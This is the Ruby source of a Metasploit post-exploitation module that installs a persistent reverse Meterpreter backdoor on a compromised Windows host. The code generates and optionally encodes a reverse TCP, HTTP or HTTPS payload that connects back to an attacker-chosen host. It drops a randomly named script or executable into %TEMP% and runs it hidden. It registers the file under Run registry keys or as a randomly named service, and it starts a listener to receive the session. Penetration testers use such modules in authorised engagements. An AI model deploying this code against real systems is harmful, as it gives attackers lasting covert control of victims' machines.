metasploit-framework/modules/post/windows/manage/persistence.rb

376 lines
12 KiB
Ruby

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/services'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Services
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Persistent Payload Installer',
'Description' => %q{
This Module will create a boot persistent reverse Meterpreter session by
installing on the target host the payload as a script that will be executed
at user logon or system startup depending on privilege and selected startup
method.
REXE mode will transfer a binary of your choosing to remote host to be
used as a payload.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Carlos Perez <carlos_perez[at]darkoperator.com>',
'Merlyn drforbin Cousins <drforbin6[at]gmail.com>'
],
'Platform' => [ 'win' ],
'Actions' => [['TEMPLATE'], ['REXE']],
'DefaultAction' => 'TEMPLATE',
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptAddress.new('LHOST', [true, 'IP for persistent payload to connect to.']),
OptInt.new('LPORT', [true, 'Port for persistent payload to connect to.']),
OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]),
OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM','SERVICE']]),
OptBool.new('HANDLER', [ false, 'Start a Multi/Handler to Receive the session.', true]),
OptString.new('TEMPLATE', [false, 'Alternate template Windows PE File to use.']),
OptString.new('REXE',[false, 'The remote executable to use.','']),
OptString.new('REXENAME',[false, 'The name to call exe on remote system','']),
OptEnum.new('PAYLOAD_TYPE', [true, 'Meterpreter Payload Type.', 'TCP',['TCP','HTTP','HTTPS']])
], self.class)
register_advanced_options(
[
OptString.new('OPTIONS', [false, "Comma separated list of additional options for payload if needed in \'opt=val,opt=val\' format.",""]),
OptString.new('ENCODER', [false, "Encoder name to use for encoding.",]),
OptInt.new('ITERATIONS', [false, 'Number of iterations for encoding.']),
], self.class)
end
# Run Method for when run command is issued
#-------------------------------------------------------------------------------
def run
print_status("Running module against #{sysinfo['Computer']}")
# Set vars
rexe = datastore['REXE']
rexename = datastore['REXENAME']
lhost = datastore['LHOST']
lport = datastore['LPORT']
opts = datastore['OPTIONS']
delay = datastore['DELAY']
encoder = datastore['ENCODER']
iterations = datastore['ITERATIONS']
@clean_up_rc = ""
host,port = session.session_host, session.session_port
payload = "windows/meterpreter/reverse_tcp"
if datastore['ACTION'] == 'TEMPLATE'
# Check that if a template is provided that it actually exists
if datastore['TEMPLATE']
if not ::File.exists?(datastore['TEMPLATE'])
print_error "Template PE File does not exists!"
return
else
template_pe = datastore['TEMPLATE']
end
end
# Set the proper payload
case datastore['PAYLOAD_TYPE']
when /TCP/i
payload = "windows/meterpreter/reverse_tcp"
when /HTTP/i
payload = "windows/meterpreter/reverse_http"
when /HTTPS/i
payload = "windows/meterpreter/reverse_https"
end
# Create payload and script
pay = create_payload(payload, lhost, lport, opts = "")
raw = pay_gen(pay,encoder, iterations)
script = create_script(delay, template_pe, raw)
script_on_target = write_script_to_target(script)
else
if datastore['REXE'].nil? or datastore['REXE'].empty?
print_error("Please define REXE")
return
end
if datastore['REXENAME'].nil? or datastore['REXENAME'].empty?
print_error("Please define REXENAME")
return
end
if not ::File.exist?(datastore['REXE'])
print_error("Rexe file does not exist!")
return
end
raw = create_payload_from_file(rexe)
script_on_target = write_exe_to_target(raw,rexename)
end
# Start handler if set
create_multihand(payload, lhost, lport) if datastore['HANDLER']
# Initial execution of script
target_exec(script_on_target)
case datastore['STARTUP']
when /USER/i
write_to_reg("HKCU",script_on_target)
when /SYSTEM/i
write_to_reg("HKLM",script_on_target)
when /SERVICE/i
install_as_service(script_on_target)
end
clean_rc = log_file()
file_local_write(clean_rc,@clean_up_rc)
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
report_note(:host => host,
:type => "host.persistance.cleanup",
:data => {
:local_id => session.sid,
:stype => session.type,
:desc => session.info,
:platform => session.platform,
:via_payload => session.via_payload,
:via_exploit => session.via_exploit,
:created_at => Time.now.utc,
:commands => @clean_up_rc
}
)
end
# Generate raw payload
#-------------------------------------------------------------------------------
def pay_gen(pay,encoder, iterations)
raw = pay.generate
if encoder
if enc_compat(pay, encoder)
print_status("Encoding with #{encoder}")
enc = framework.encoders.create(encoder)
(1..iterations).each do |i|
print_status("\tRunning iteration #{i}")
raw = enc.encode(raw, nil, nil, "Windows")
end
end
end
return raw
end
# Check if encoder specified is in the compatible ones
#
# Note: This should allow to adapt to new encoders if they appear with out having
# to have a static whitelist.
#-------------------------------------------------------------------------------
def enc_compat(payload, encoder)
compat = false
payload.compatible_encoders.each do |e|
if e[0] == encoder.strip
compat = true
end
end
return compat
end
# Create a payload given a name, lhost and lport, additional options
#-------------------------------------------------------------------------------
def create_payload(name, lhost, lport, opts = "")
pay = session.framework.payloads.create(name)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
if not opts.empty?
opts.split(",").each do |o|
opt,val = o.split("=", 2)
pay.datastore[opt] = val
end
end
# Validate the options for the module
pay.options.validate(pay.datastore)
return pay
end
# Function for Creating persistent script
#-------------------------------------------------------------------------------
def create_script(delay,altexe,raw)
if not altexe.nil?
vbs = ::Msf::Util::EXE.to_win32pe_vbs(session.framework, raw, {:persist => true, :delay => delay, :template => altexe})
else
vbs = ::Msf::Util::EXE.to_win32pe_vbs(session.framework, raw, {:persist => true, :delay => delay})
end
print_status("Persistent agent script is #{vbs.length} bytes long")
return vbs
end
# Function for creating log folder and returning log path
#-------------------------------------------------------------------------------
def log_file(log_path = nil)
#Get hostname
host = session.sys.config.sysinfo["Computer"]
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
else
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
end
# Create the log directory
::FileUtils.mkdir_p(logs)
#logfile name
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
return logfile
end
# Function for writing script to target host
#-------------------------------------------------------------------------------
def write_script_to_target(vbs)
tempdir = session.fs.file.expand_path("%TEMP%")
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
fd = session.fs.file.new(tempvbs, "wb")
fd.write(vbs)
fd.close
print_good("Persistent Script written to #{tempvbs}")
@clean_up_rc << "rm #{tempvbs}\n"
return tempvbs
end
# Method for checking if a listener for a given IP and port is present
# will return true if a conflict exists and false if none is found
#-------------------------------------------------------------------------------
def check_for_listner(lhost,lport)
conflict = false
client.framework.jobs.each do |k,j|
if j.name =~ / multi\/handler/
current_id = j.jid
current_lhost = j.ctx[0].datastore["LHOST"]
current_lport = j.ctx[0].datastore["LPORT"]
if lhost == current_lhost and lport == current_lport.to_i
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
conflict = true
end
end
end
return conflict
end
# Starts a multi/handler session
#-------------------------------------------------------------------------------
def create_multihand(payload,lhost,lport)
pay = session.framework.payloads.create(payload)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
print_status("Starting exploit multi handler")
if not check_for_listner(lhost,lport)
# Set options for module
mul = session.framework.exploits.create("multi/handler")
mul.share_datastore(pay.datastore)
mul.datastore['WORKSPACE'] = client.workspace
mul.datastore['PAYLOAD'] = payload
mul.datastore['EXITFUNC'] = 'thread'
mul.datastore['ExitOnSession'] = false
# Validate module options
mul.options.validate(mul.datastore)
# Execute showing output
mul.exploit_simple(
'Payload' => mul.datastore['PAYLOAD'],
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'RunAsJob' => true
)
else
print_error("Could not start handler!")
print_error("A job is listening on the same Port")
end
end
# Function to execute script on target and return the PID of the process
#-------------------------------------------------------------------------------
def target_exec(script_on_target)
print_status("Executing script #{script_on_target}")
proc = datastore['ACTION'] == 'REXE' ? session.sys.process.execute(script_on_target, nil, {'Hidden' => true})\
: session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true})
print_good("Agent executed with PID #{proc.pid}")
@clean_up_rc << "kill #{proc.pid}\n"
return proc.pid
end
# Function to install payload in to the registry HKLM or HKCU
#-------------------------------------------------------------------------------
def write_to_reg(key,script_on_target)
nam = Rex::Text.rand_text_alpha(rand(8)+8)
print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
if(key)
registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ")
print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
else
print_error("Error: failed to open the registry key for writing")
end
end
# Function to install payload as a service
#-------------------------------------------------------------------------------
def install_as_service(script_on_target)
if is_system? or is_admin?
print_status("Installing as service..")
nam = Rex::Text.rand_text_alpha(rand(8)+8)
print_status("Creating service #{nam}")
datastore['ACTION'] == 'REXE' ? service_create(nam, nam, "cmd /c \"#{script_on_target}\"") : service_create(nam, nam, "cscript \"#{script_on_target}\"")
@clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"
else
print_error("Insufficient privileges to create service")
end
end
# Function for writing executable to target host
#-------------------------------------------------------------------------------
def write_exe_to_target(vbs,rexename)
tempdir = session.fs.file.expand_path("%TEMP%")
tempvbs = tempdir + "\\" + rexename
fd = session.fs.file.new(tempvbs, "wb")
fd.write(vbs)
fd.close
print_good("Persistent Script written to #{tempvbs}")
@clean_up_rc << "rm #{tempvbs}\n"
return tempvbs
end
def create_payload_from_file(exec)
print_status("Reading Payload from file #{exec}")
return ::IO.read(exec)
end
end